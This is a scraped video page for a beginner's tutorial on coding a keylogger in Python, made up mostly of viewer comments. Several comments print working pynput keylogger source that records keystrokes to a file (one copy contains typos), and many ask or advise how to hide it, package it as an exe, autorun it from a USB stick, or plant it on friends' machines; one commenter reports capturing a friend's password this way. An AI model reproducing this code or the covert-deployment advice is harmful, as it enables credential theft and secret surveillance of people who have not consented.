How To Code A Keylogger In Python | Programming Tutorial For Beginners

แชร์
ฝัง
  • เผยแพร่เมื่อ 19 ม.ค. 2025

ความคิดเห็น • 170

  • @caseyrivera2765
    @caseyrivera2765 9 หลายเดือนก่อน +8

    Solid explanation!! Was looking into cyber security projects and this was one of the projects that popped up glad it brought me here!

    • @1000_random_stuff
      @1000_random_stuff 7 หลายเดือนก่อน +2

      Me too. Can we link up and learn more stuff together? I'm in cyber security too

    • @Sherlock930z
      @Sherlock930z 21 ชั่วโมงที่ผ่านมา

      ​@1000_random_stuff am trying to getting into cybersecurity too bro

  • @danimatviolin9679
    @danimatviolin9679 ปีที่แล้ว +11

    My friend!!! So much thank you for this! I've been working on HTML&CSS, JavaScript and Python for almost a year now. Done a lot of nice things already, but I always had a problem with installing libraries. Always got errors, never worked. Yeah yeah you all can laugh (I almost cried about it) watched dozens of video's about it, starting to feel really stupid... And your simply explaination / demonstration in the beginning, it worked! Now I finally can make serious progression with Python! Since libraries are half of the work. Thanks for this cool keylogger but MANY MORE THANKS for explaining / demonstrating libraries 😀 Like and a sub

    • @joshuasachiza6135
      @joshuasachiza6135 10 หลายเดือนก่อน

      I totally agree with libraries are a lot of work. So much stress just for installing / configuring stuff which usually doesn't even work even if you follow everything, line by line 😂😂

  • @septimusforster
    @septimusforster ปีที่แล้ว +93

    Thank you. I promise, I'm not a bad guy.

  • @exploitdevs
    @exploitdevs 9 หลายเดือนก่อน +24

    from pynput import keyboard
    def keyPressed(key):
    print(str(key))
    with open("keyfile.txt", 'a') as logkey:
    try:
    char = key.char
    logkey.write(char)
    execpt:
    print("Error getting char")
    if__name__ == "__main__":
    listener = keyboard.Listener(on_press=keypressed)
    listener.start()
    input()

    • @RiekertJansenvanVuuren-dn4oy
      @RiekertJansenvanVuuren-dn4oy 3 หลายเดือนก่อน

      Mah MAn🤣

    • @Sherlock930z
      @Sherlock930z 21 ชั่วโมงที่ผ่านมา

      Yo I it ran without me going to Windows Defender . Tries scanning " no threat found" is that concerning

  • @hangeryouhen3311
    @hangeryouhen3311 8 หลายเดือนก่อน +9

    I ran the code and the Windows Defender didn't alarmed me or anything

  • @enoobis
    @enoobis ปีที่แล้ว +8

    ```
    from pynput import keyboard
    def keyPressed(key):
    print(str(key))
    with open("keyfile.txt",'a') as logkey:
    try:
    char = key.char
    logkey.write(char)
    except:
    print("error getting char")
    if __name__ == '__main__':
    listener = keyboard.Listener(on_press=keyPressed)
    listener.start()
    input()
    ```

    • @bonbondonk8389
      @bonbondonk8389 ปีที่แล้ว

      from pynput import keyboard
      def keyPressed(key):
      print(str(key))
      with open("keyfile.txt",'a') as logkey:
      try:
      char = key.char
      logkey.write(char)
      except:
      print("error getting char")
      if __name__ == '__main__':
      listener = keyboard.Listener(on_press=keyPressed)
      listener.start()
      input()

    • @enoobis
      @enoobis ปีที่แล้ว

      @@bonbondonk8389 what's the difference?

    • @kaileinbagsik
      @kaileinbagsik 6 หลายเดือนก่อน

      bro why its not working on me?

  • @annanyagaikkwad9127
    @annanyagaikkwad9127 10 หลายเดือนก่อน +3

    thankyou so much you just saved my grade:))

  • @Ipon-f7h
    @Ipon-f7h 6 หลายเดือนก่อน +3

    Question how would I send this to a mobile device I’m testing it on my phone btw for “educational purposes”

  • @rafolijf1256
    @rafolijf1256 ปีที่แล้ว +4

    bro my antivirus deleted the file, guess i shouldn't have done it on my school computer...

  • @the8estof
    @the8estof ปีที่แล้ว +5

    i installed pynput but i cant import neither pynput nor keyboard from pynput

    • @cashelszn
      @cashelszn 11 หลายเดือนก่อน

      reload visual studios

  • @ThelocalGuy2-2
    @ThelocalGuy2-2 หลายเดือนก่อน +1

    I just tried this, and it works. I put it on an autorun file on a USB and everything. However, whenever I plug the USB in, it works, but the Python/command prompt-looking UI has to be open for it to function, which looks suspicious. Is there any way to fix this?

  • @CrawdadSoftware
    @CrawdadSoftware ปีที่แล้ว +13

    You said you work in cybersec. can you make some tutorials from this field? this would be very intresting to learn

  • @ChickenNugget-v5o
    @ChickenNugget-v5o ชั่วโมงที่ผ่านมา

    Great !!! i know how to defend myself now thank u!

    • @ChickenNugget-v5o
      @ChickenNugget-v5o ชั่วโมงที่ผ่านมา

      (like how to delete the keylogger)

  • @nikitathakkar3416
    @nikitathakkar3416 11 หลายเดือนก่อน +1

    I was trying to find this for so long and finally it works thanks a ton♥

    • @XBeloFn
      @XBeloFn 10 หลายเดือนก่อน

      can u please tell me how do i send the keylogger to a friend and get his information when he is typing???

    • @proddanyy
      @proddanyy 10 หลายเดือนก่อน +1

      @@XBeloFn that is illegal bro 💀💀💀💀💀💀

    • @1bbeSuedi
      @1bbeSuedi 8 หลายเดือนก่อน

      @@proddanyy how do i do it

  • @Jimmyswag2
    @Jimmyswag2 3 หลายเดือนก่อน

    Definitely using this for learning purposes 😼

  • @eZaFJDUBB
    @eZaFJDUBB ปีที่แล้ว +1

    aren't all characters in python strings with a length of 1? char is a keyword from c/c++ with character data types?? you could say x = key.x as well or anything

  • @vishalnagpal98
    @vishalnagpal98 10 หลายเดือนก่อน

    Today I see your video and make a keylogger I have trouble starting but get it working 👍👍🙏

  • @ehudkotegaro
    @ehudkotegaro ปีที่แล้ว

    5:52 should you really use a bare Except? Isn't there a more Specific exception you could use?

  • @HungryBones
    @HungryBones 11 หลายเดือนก่อน

    Is there a way I could open the key file into a certain folder?

  • @lalithaditya9639
    @lalithaditya9639 ปีที่แล้ว +1

    done with the project but how can i use the code for targeting another system

    • @Grinderjosh
      @Grinderjosh 11 หลายเดือนก่อน

      Bro wanna hack

  • @lethalninja596
    @lethalninja596 3 หลายเดือนก่อน

    Why it didnt worked for me. I am on mac, so do i have to do something different

  • @AhmedElhossiny-x3w
    @AhmedElhossiny-x3w ปีที่แล้ว +1

    pls some tell me what to do here

    • @shahzaibhassan6504
      @shahzaibhassan6504 ปีที่แล้ว

      You probably didint import keyboard, Can you show me your full code?

    • @whocaresatall4762
      @whocaresatall4762 11 หลายเดือนก่อน

      Import the keyboard!

  • @DUCKS-o5i
    @DUCKS-o5i 6 หลายเดือนก่อน +1

    Anyone know where the keylogger.txt file is saved?

  • @moussamoriswood
    @moussamoriswood ปีที่แล้ว

    it stop when i pressed ok enter key ;how to fixe this problem and ;how to create new file txt to enregister new use

  • @Destrudo115
    @Destrudo115 4 หลายเดือนก่อน

    So does it work on other machines outside host?

  • @fatmanurerturk374
    @fatmanurerturk374 2 ปีที่แล้ว +2

    thanks bro amazing video :)

  • @mio7046
    @mio7046 7 หลายเดือนก่อน

    thank you so much for this video, you saved me!

  • @anantika
    @anantika ปีที่แล้ว +1

    How to i add the on release function to stop the keylogger

  • @alexbellury
    @alexbellury ปีที่แล้ว

    Does this only work for Windows because I tried this for me Debian based Linux distro and it wouldn't create a .txt file

  • @Grinderjosh
    @Grinderjosh ปีที่แล้ว +1

    where did u runned it?
    the app what u use

  • @yoanaltobruni619
    @yoanaltobruni619 4 หลายเดือนก่อน

    Can somebody help me , mine didn't work
    I Installed the pynput and type the same code and didn't work ,plz

  • @psichiatri7854
    @psichiatri7854 6 หลายเดือนก่อน

    hello bro where I can write to you with questions

  • @Edits__4_
    @Edits__4_ 2 หลายเดือนก่อน +1

    Thankyou so much 🌼

  • @bilqimlb
    @bilqimlb ปีที่แล้ว +2

    how to make this to exe ??

    • @rqqted
      @rqqted ปีที่แล้ว +1

      pyinstaller

  • @randomdogeboi
    @randomdogeboi 4 หลายเดือนก่อน

    can you use IDLE python for this?

  • @imppaco
    @imppaco 10 หลายเดือนก่อน

    I was hoping to use examples to understand how a background application would see the Userspace.
    Is there a way for a script to run (ex. on cron/startup), to prompt the User for input, on a Linux system?

    • @XBeloFn
      @XBeloFn 10 หลายเดือนก่อน

      can u tell me how do i send other people the keylogger like in discord how do i send my friend the keylogger

    • @cryz81
      @cryz81 10 หลายเดือนก่อน

      @@XBeloFnmake the .py file an .exe

  • @AshGamerfreesub
    @AshGamerfreesub 11 หลายเดือนก่อน

    why it doesn't work on password field. it doesn't work when i type my password

  • @velocisaurus79
    @velocisaurus79 8 หลายเดือนก่อน

    My Av didnt detect the keylogger did I do something wrong? and it isnt creating the txt file all of the key logs are being recorded in the terminal?

    • @velocisaurus79
      @velocisaurus79 8 หลายเดือนก่อน

      being as though the av didnt detect it how can I turn it off?

    • @ThelocalGuy2-2
      @ThelocalGuy2-2 หลายเดือนก่อน

      if you see this, what i did for it to work is to get his project from the github he has in the description and to use usb autorun creator to make a autorun file on a usb. the only downside is the cmd box has to be open for it to work. tested it on a friend and i told him the gui was just something to work. got an example password from him on the keyfile

  • @Its_Alan_Paul
    @Its_Alan_Paul ปีที่แล้ว

    Dude that was Epic

  • @AshutoshNigam68
    @AshutoshNigam68 ปีที่แล้ว +1

    Can the code record the name of the control clicked and textbox that is receiving the text?

    • @callhard
      @callhard 9 หลายเดือนก่อน

      have you found out?

    • @AshutoshNigam68
      @AshutoshNigam68 9 หลายเดือนก่อน

      My team found some sample code to do this job. Been long time, not coding for last 6 months sorry.

  • @wiktormigaszewski8684
    @wiktormigaszewski8684 8 หลายเดือนก่อน

    I need an example file of someone who wrote a longer text (a story or a masters thesis) - is there any such public repository? or maybe someone can share such a file?

  • @SwainJamie
    @SwainJamie 8 หลายเดือนก่อน

    Trying to pack this into an .exe file with pyinstaller, tried creating with "--onefile --noconsole" but getting this error "line 15, in
    RuntimeError: input(): lost sys.stdin". Packing it into an exe with the console visible works just fine but of course thats not ideal.

    • @MightBeClive
      @MightBeClive 8 หลายเดือนก่อน

      hey did you get a char error when you tried it?

    • @MightBeClive
      @MightBeClive 8 หลายเดือนก่อน

      hey did you get a char error when you tried it?

    • @SwainJamie
      @SwainJamie 8 หลายเดือนก่อน +1

      @@MightBeClive No character errors just seems to need the console window when running, no way to have it run in the background from what I can figure out anyway.

  • @MightBeClive
    @MightBeClive 8 หลายเดือนก่อน

    hey did anyone get an error cause i got an "error getting char" and I'm not seeing the key file being made for mine wondering if anyone had the same issue?

    • @velocisaurus79
      @velocisaurus79 8 หลายเดือนก่อน

      yea Im having the same issue

  • @UpeUPE-ku6si
    @UpeUPE-ku6si ปีที่แล้ว +1

    How do i make it to accept spaces instead of sending an error??

    • @santinomartella9243
      @santinomartella9243 10 หลายเดือนก่อน

      You could make the except write a space also I feel like if you used strings instead of chars it wouldn’t be an issue

  • @TiagoAlves-nw6vd
    @TiagoAlves-nw6vd ปีที่แล้ว

    Excellent, thanks for sharing...

  • @tecassowebandwebappssoluti4337
    @tecassowebandwebappssoluti4337 ปีที่แล้ว

    Is there a way for code to run remotely like a user downloaded a file from online not knowing it's a keylogger script ... Then on install it's starts logging user key stroke .... Asking for school project.

    • @technicalwolfs5390
      @technicalwolfs5390 10 หลายเดือนก่อน

      Even I want to know that have u got the answer

  • @weird-ai-videos
    @weird-ai-videos ปีที่แล้ว

    i installed pynput but i still have those yellow lines and the listener does not work could you pls help me?

    • @erennere197
      @erennere197 ปีที่แล้ว

      same happened to me

    • @oijje
      @oijje ปีที่แล้ว

      same here

    • @anchorpb2007
      @anchorpb2007 ปีที่แล้ว

      I had the same issue, but I found a solution:
      th-cam.com/video/dj5oOPaeIqI/w-d-xo.html

    • @BabyGronk9
      @BabyGronk9 ปีที่แล้ว +1

      For me it installed it to the wrong version of Python, all I had to do was switch to the version it installed to and it worked

    • @Feuer_Wasser1
      @Feuer_Wasser1 ปีที่แล้ว

      listener should be Listener

  • @Its_Alan_Paul
    @Its_Alan_Paul ปีที่แล้ว

    You deserve a Follow

  • @pabloandres5845
    @pabloandres5845 2 ปีที่แล้ว +1

    thanks bro, you saved me

  • @subash4468
    @subash4468 11 หลายเดือนก่อน

    Thank you so much bro ❤

  • @mahdimohandis
    @mahdimohandis 2 ปีที่แล้ว +2

    Thanks man very helpful

  • @exploitdevs
    @exploitdevs 6 หลายเดือนก่อน

    How to makes so i get the keys also (NOT WILL USE IT WILL USE IT TO LEARN CODING AND MORE!)

  • @vishalnagpal98
    @vishalnagpal98 10 หลายเดือนก่อน

    Please make a video email keylogger from python and how it works in windows

  • @WildAhhMarcus
    @WildAhhMarcus 11 หลายเดือนก่อน

    Anybody know how I could use this o. Mobile phone

  • @sturm379
    @sturm379 ปีที่แล้ว

    but what if I enjected it in someones computer. do it still send me the keys that he used?

    • @konamiitti2343
      @konamiitti2343 ปีที่แล้ว

      Yes i think so

    • @eZaFJDUBB
      @eZaFJDUBB ปีที่แล้ว

      @@konamiitti2343 no, it will make a txt file on their computer

  • @davorfister
    @davorfister ปีที่แล้ว

    Thanks im gonna use this for school

  • @donjay6722
    @donjay6722 2 ปีที่แล้ว

    i tried running the program but got 'cant open file invalid argument' error in the terminal

    • @boris901
      @boris901 2 ปีที่แล้ว

      I've also

    • @Allaboutcars997
      @Allaboutcars997 ปีที่แล้ว

      Same here had so many error why doesn’t he reply

    • @Derrmyster
      @Derrmyster ปีที่แล้ว

      @@Allaboutcars997 from what I've noticed you might have to restart the program since the AV deletes the file and if not turned off quickly enough it will shoot out the argument. Hopefully you found a solution before I got here lol

    • @plaksnorr5267
      @plaksnorr5267 ปีที่แล้ว

      yall stupid

    • @rqqted
      @rqqted ปีที่แล้ว

      try this instead
      from pynput import keyboard
      # creating file and writing to it
      def no(key):
      with open('key.txt','a') as logkey:
      logkey.write(f'
      {key}')
      #the code
      if __name__ == "__main__":
      listener = keyboard.Listener(on_press=no)
      listener.start()
      input()

  • @oentrepreneur
    @oentrepreneur ปีที่แล้ว

    Can this keylogger read sms messages

  • @Myrxx
    @Myrxx 8 หลายเดือนก่อน

    how i press play (where)

  • @RandumKontent
    @RandumKontent ปีที่แล้ว

    it doesnt log spaces?

  • @vxruzdanz
    @vxruzdanz ปีที่แล้ว

    doesnt detect uppercase letters

  • @nogaminglife901
    @nogaminglife901 2 ปีที่แล้ว +1

    How do I send it to my email?

    • @amitpaul6109
      @amitpaul6109 ปีที่แล้ว +1

      Wait I will file a case on you 😂😂😂

    • @xzjwq
      @xzjwq ปีที่แล้ว

      @@amitpaul6109 ong

  • @5ersx
    @5ersx 5 หลายเดือนก่อน

    Going to use this for custom macros. 👍 🌚

  • @Filiberke123
    @Filiberke123 ปีที่แล้ว

    how to stop it?

  • @BuildNewSkillsZ
    @BuildNewSkillsZ ปีที่แล้ว

    It does not not create the txt file

    • @vinidias015
      @vinidias015 ปีที่แล้ว

      you have to select the project folder in the explorer menu

  • @mohammedbasraoi7588
    @mohammedbasraoi7588 ปีที่แล้ว

    is this a netsite

  • @PhantomShop.
    @PhantomShop. ปีที่แล้ว

    how do i get pynput

  • @Python_Tube
    @Python_Tube ปีที่แล้ว

    If you can tell me how to send this file to email

    • @juanr0919
      @juanr0919 ปีที่แล้ว

      pretty sure thats illegal if the reciever getting the email doens't know why would you want to do that?

  • @therandomness3728
    @therandomness3728 ปีที่แล้ว +1

    You have just informed people that want to hack exactly how to do it.

  • @vinayakkaushik3231
    @vinayakkaushik3231 2 ปีที่แล้ว

    No key file got formed what to do

    • @gabimorales8296
      @gabimorales8296 ปีที่แล้ว +1

      Make sure to save .py file before running

  • @robealmangco492
    @robealmangco492 ปีที่แล้ว

    so if i send that file to my friend's computer and he run on it, and open his social media account, it will send it to my txt ?

    • @amaze3727
      @amaze3727 ปีที่แล้ว +3

      No, you're better off using a Remote Access Trojan for that (for educational purposes of course)

  • @ima.arvelous
    @ima.arvelous 7 หลายเดือนก่อน

    this is surely scary i tried it for educational purpose

  • @speedeespeedboi9527
    @speedeespeedboi9527 ปีที่แล้ว

    it does not work for games

  • @bahramahady
    @bahramahady 2 ปีที่แล้ว

    Thank you ❤️

  • @davidgolombek2503
    @davidgolombek2503 ปีที่แล้ว

    i got error 22 in terminal "invalid argument"

    • @Derrmyster
      @Derrmyster ปีที่แล้ว

      from what I've noticed you might have to restart the program since the AV deletes the file and if not turned off quickly enough it will shoot out the argument. Hopefully you found a solution before I got here lol

    • @metoyxs1832
      @metoyxs1832 ปีที่แล้ว

      @@Derrmyster nah i kind of forgot that i ever even wanted to make keylogger

  • @Grinderjosh
    @Grinderjosh 11 หลายเดือนก่อน

    Now am wondering how can i make it as a spyware (am just educating) aight

  • @UltraViolence33
    @UltraViolence33 4 หลายเดือนก่อน

    0:55

  • @frasscu
    @frasscu ปีที่แล้ว

    yoo men , idk if u can help me but when i creare de code and i save it when i tried to open it again i cant .
    and idk how to fix the problem
    thanks

    • @rqqted
      @rqqted ปีที่แล้ว

      whats ur discord

  • @htdkujhgnjyjykri9987
    @htdkujhgnjyjykri9987 ปีที่แล้ว

    Bro pip is not installing

    • @Derrmyster
      @Derrmyster ปีที่แล้ว

      be sure that your casing is correct along with spelling. if thats all good sometimes you might have to try the other method of : " py -m pip install ' insert here ' " or directly " ' pip install ' insert here '
      here is also a time stamp if you need to rewatch him do it 1:45

    • @htdkujhgnjyjykri9987
      @htdkujhgnjyjykri9987 ปีที่แล้ว +1

      @@Derrmyster thnx but I have resolved that issue thnx

  • @deniskanja1952
    @deniskanja1952 2 ปีที่แล้ว +1

    Can it work on android

  • @itscharles2653
    @itscharles2653 9 หลายเดือนก่อน

    ty ;)

  • @markocska94
    @markocska94 2 ปีที่แล้ว

    Great tutorial! Nice to see if that you are a fellow Minecrafter too. Feel free to invite me to play online

  • @t.m1998
    @t.m1998 8 หลายเดือนก่อน

    Hey guys did have someone a finish Keylogger Datei who can send me pleas :D

  • @odayzaour6926
    @odayzaour6926 ปีที่แล้ว

    is it work for android ?

  • @badanapallypraneeth7716
    @badanapallypraneeth7716 ปีที่แล้ว

    Module cannot be callable

  • @lazarzivanovic2652
    @lazarzivanovic2652 ปีที่แล้ว

    where do u click play man

  • @weird-ai-videos
    @weird-ai-videos ปีที่แล้ว

    hey i got a error when i run it

  • @Niazi_Pathaan
    @Niazi_Pathaan 5 หลายเดือนก่อน

    Thanks but I'm a bad guy 😈

  • @solomontheuri1033
    @solomontheuri1033 8 หลายเดือนก่อน

    🗿

  • @pumpkingolem9122
    @pumpkingolem9122 ปีที่แล้ว

    dw i am using it for a game

  • @BigG9982
    @BigG9982 7 วันที่ผ่านมา

    bro this i not a real keylogger its garbage

  • @69senseisensei69
    @69senseisensei69 4 หลายเดือนก่อน +1

    gg man ty for this video

  • @dehset242
    @dehset242 ปีที่แล้ว

    SyntaxError: expected ':'

  • @domihubon2380
    @domihubon2380 3 หลายเดือนก่อน

    how send this for someone ?